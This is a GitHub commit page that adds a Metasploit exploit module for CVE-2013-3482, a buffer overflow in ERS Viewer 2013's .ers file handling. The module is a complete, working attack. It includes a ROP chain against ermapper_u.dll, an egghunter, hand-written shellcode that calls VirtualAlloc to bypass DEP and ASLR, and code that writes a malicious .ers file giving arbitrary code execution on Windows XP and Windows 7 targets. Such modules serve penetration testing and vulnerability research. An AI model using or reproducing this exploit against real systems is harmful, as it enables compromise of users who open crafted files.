Skip to content

Commit 2f72549

Browse files
committed
Land rapid7#2083 - CVE-2013-3482 ERS Viewer 2013 ERS File Handling Overflow
2 parents b2e7f61 + 3f874f5 commit 2f72549

File tree

1 file changed

+205
-0
lines changed

1 file changed

+205
-0
lines changed
Lines changed: 205 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,205 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = NormalRanking
12+
13+
include Msf::Exploit::FILEFORMAT
14+
include Msf::Exploit::Remote::Egghunter
15+
16+
def initialize(info={})
17+
super(update_info(info,
18+
'Name' => "ERS Viewer 2013 ERS File Handling Buffer Overflow",
19+
'Description' => %q{
20+
This module exploits a buffer overflow vulnerability found in ERS Viewer 2013.
21+
The vulnerability exists in the module ermapper_u.dll, where the function
22+
rf_report_error handles user provided data in a insecure way. It results in
23+
arbitrary code execution under the context of the user viewing a specially crafted
24+
.ers file. This module has been tested successfully with ERS Viewer 2013 (versions
25+
13.0.0.1151) on Windows XP SP3 and Windows 7 SP1.
26+
},
27+
'License' => MSF_LICENSE,
28+
'Author' =>
29+
[
30+
'James Fitts', # Vulnerability Discovery
31+
'juan vazquez' # Metasploit
32+
],
33+
'References' =>
34+
[
35+
[ 'CVE', '2013-3482' ],
36+
[ 'OSVDB', '93650' ],
37+
[ 'URL', 'http://secunia.com/advisories/53620/' ]
38+
],
39+
'Payload' =>
40+
{
41+
'Space' => 4000,
42+
'DisableNops' => true,
43+
},
44+
'DefaultOptions' =>
45+
{
46+
'ExitFunction' => "process",
47+
},
48+
'Platform' => 'win',
49+
'Targets' =>
50+
[
51+
# Tested on Windows XP SP3
52+
[ 'ERS Viewer 2013 13.0.0.1151 / NO DEP / NO ASLR',
53+
{
54+
'Offset' => 191,
55+
'Ret' => 0x100329E9 # jmp eax # from ermapper_u.dll
56+
}
57+
],
58+
# Tested on Windows XP SP3 and Windows 7 SP1
59+
[ 'ERS Viewer 2013 13.0.0.1151 / DEP & ASLR bypass',
60+
{
61+
'Offset' => 191,
62+
'Ret' => 0x100E1152, # xchg eax, esp # ret # from ermapper_u.dll
63+
'RetNull' => 0x30d07f00, # ret ending with null byte # from ethrlib.dll
64+
'VirtualAllocPtr' => 0x1010c0f4
65+
}
66+
]
67+
],
68+
'Privileged' => false,
69+
'DisclosureDate' => "May 23 2013",
70+
'DefaultTarget' => 1))
71+
72+
register_options(
73+
[
74+
OptString.new('FILENAME', [ true, 'The file name.', 'msf.ers']),
75+
], self.class)
76+
77+
end
78+
79+
def create_rop_chain()
80+
# rop chain generated with mona.py - www.corelan.be
81+
rop_gadgets =
82+
[
83+
0x10082624, # POP EAX # RETN [ermapper_u.dll]
84+
0x1010c0f4, # ptr to &VirtualAlloc() [IAT ermapper_u.dll]
85+
0x1001a9c0, # MOV EAX,DWORD PTR DS:[EAX] # RETN [ermapper_u.dll]
86+
0x1005db36, # XCHG EAX,ESI # RETN [ermapper_u.dll]
87+
0x10105d87, # POP EBX # RETN [ermapper_u.dll]
88+
0xffffffff, #
89+
0x30d059d9, # INC EBX # RETN [ethrlib.dll]
90+
0x30d059d9, # INC EBX # RETN [ethrlib.dll]
91+
0x100e9dd9, # POP EAX # RETN [ermapper_u.dll]
92+
0xa2dbcf75, # put delta into eax (-> put 0x00001000 into edx)
93+
0x1001aa04, # ADD EAX,5D24408B # RETN [ermapper_u.dll]
94+
0x10016a98, # XCHG EAX,EDX # OR EAX,4C48300 # POP EDI # POP EBP # RETN [ermapper_u.dll]
95+
0x10086d21, # RETN (ROP NOP) [ermapper_u.dll]
96+
0x1001a148, # & push esp # ret [ermapper_u.dll]
97+
0x10082624, # POP EAX # RETN [ermapper_u.dll]
98+
0xffffffc0, # Value to negate, will become 0x00000040
99+
0x100f687d, # NEG EAX # RETN [ermapper_u.dll]
100+
0x1001e720, # XCHG EAX,ECX # ADC EAX,5DE58B10 # RETN [ermapper_u.dll]
101+
0x100288b5, # POP EAX # RETN [ermapper_u.dll]
102+
0x90909090, # nop
103+
0x100e69e0, # PUSHAD # RETN [ermapper_u.dll]
104+
].flatten.pack("V*")
105+
106+
return rop_gadgets
107+
end
108+
109+
# Restore the stack pointer in order to execute the final payload successfully
110+
def fix_stack
111+
pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18] # get teb
112+
pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
113+
pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
114+
pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
115+
return pivot
116+
end
117+
118+
# In the Windows 7 case, in order to bypass ASLR/DEP successfully, after finding
119+
# the payload on memory we can't jump there directly, but allocate executable memory
120+
# and jump there. Badchars: "\x0a\x0d\x00"
121+
def hunter_suffix(payload_length)
122+
# push flProtect (0x40)
123+
suffix = "\xB8\xC0\xFF\xFF\xFF" # mov eax, 0xffffffc0
124+
suffix << "\xF7\xD8" # neg eax
125+
suffix << "\x50" # push eax
126+
# push flAllocationType (0x3000)
127+
suffix << "\x66\x05\xC0\x2F" # add ax, 0x2fc0
128+
suffix << "\x50" # push eax
129+
# push dwSize (0x1000)
130+
suffix << "\x66\x2D\xFF\x1F" # sub ax, 0x1fff
131+
suffix << "\x48" # dec eax
132+
suffix << "\x50" # push eax
133+
# push lpAddress
134+
suffix << "\xB8\x0C\x0C\x0C\x0C" # mov eax, 0x0c0c0c0c
135+
suffix << "\x50" # push eax
136+
# Call VirtualAlloc
137+
suffix << "\xFF\x15" + [target['VirtualAllocPtr']].pack("V") # call ds:VirtualAlloc
138+
# Copy payload (edi) to Allocated memory (eax)
139+
suffix << "\x89\xFE" # mov esi, edi
140+
suffix << "\x89\xC7" # mov edi, eax
141+
suffix << "\x31\xC9" # xor ecx, ecx
142+
suffix << "\x66\x81\xC1" + [payload_length].pack("v") # add cx, payload_length
143+
suffix << "\xF3\xA4" # rep movsb
144+
# Jmp to the final payload (eax)
145+
suffix << "\xFF\xE0" # jmp eax
146+
147+
return suffix
148+
end
149+
150+
def exploit
151+
152+
#These badchars do not apply to the final payload
153+
badchars = [0x0c, 0x0d, 0x0a].pack("C*")
154+
155+
eggoptions =
156+
{
157+
:checksum => true,
158+
:eggtag => 'w00t'
159+
}
160+
my_payload = fix_stack + payload.encoded
161+
162+
if target.name =~ /DEP & ASLR bypass/
163+
# The payload length can't include NULL's in order to
164+
# build the stub which will copy the final payload to
165+
# executable memory
166+
while [my_payload.length].pack("v").include?("\x00")
167+
my_payload << rand_text(1)
168+
end
169+
end
170+
171+
hunter,egg = generate_egghunter(my_payload, badchars, eggoptions)
172+
173+
if target.name =~ /DEP & ASLR bypass/
174+
hunter.gsub!(/\xff\xe7/, hunter_suffix(my_payload.length))
175+
end
176+
177+
if target.name =~ /NO DEP/
178+
buf = rand_text_alpha(1)
179+
buf << (0x01..0x04).to_a.pack("C*") # Necessary to align EAX as expected
180+
buf << "AA" # EAX pointing to buf[5] prefixed with 0x00 after ret
181+
buf << hunter
182+
buf << rand_text_alpha(target['Offset'] - buf.length)
183+
buf << [target.ret].pack("V") # jmp eax
184+
buf << rand_text_alpha(8)
185+
buf << egg
186+
elsif target.name =~ /DEP & ASLR bypass/
187+
buf = rand_text_alpha(1)
188+
buf << (0x01..0x04).to_a.pack("C*") # Necessary to align EAX as expected
189+
buf << [target['RetNull']].pack("V")[1,3] # EAX pointing to buf[5] prefixed with 0x00 after ret
190+
buf << create_rop_chain
191+
buf << hunter
192+
buf << rand_text_alpha(target['Offset'] - buf.length)
193+
buf << [target.ret].pack("V") # xchg eax, esp # ret
194+
buf << rand_text_alpha(8)
195+
buf << egg
196+
end
197+
198+
ers = %Q|
199+
DatasetHeader Begin
200+
#{buf} End
201+
|
202+
203+
file_create(ers)
204+
end
205+
end

0 commit comments

Comments
 (0)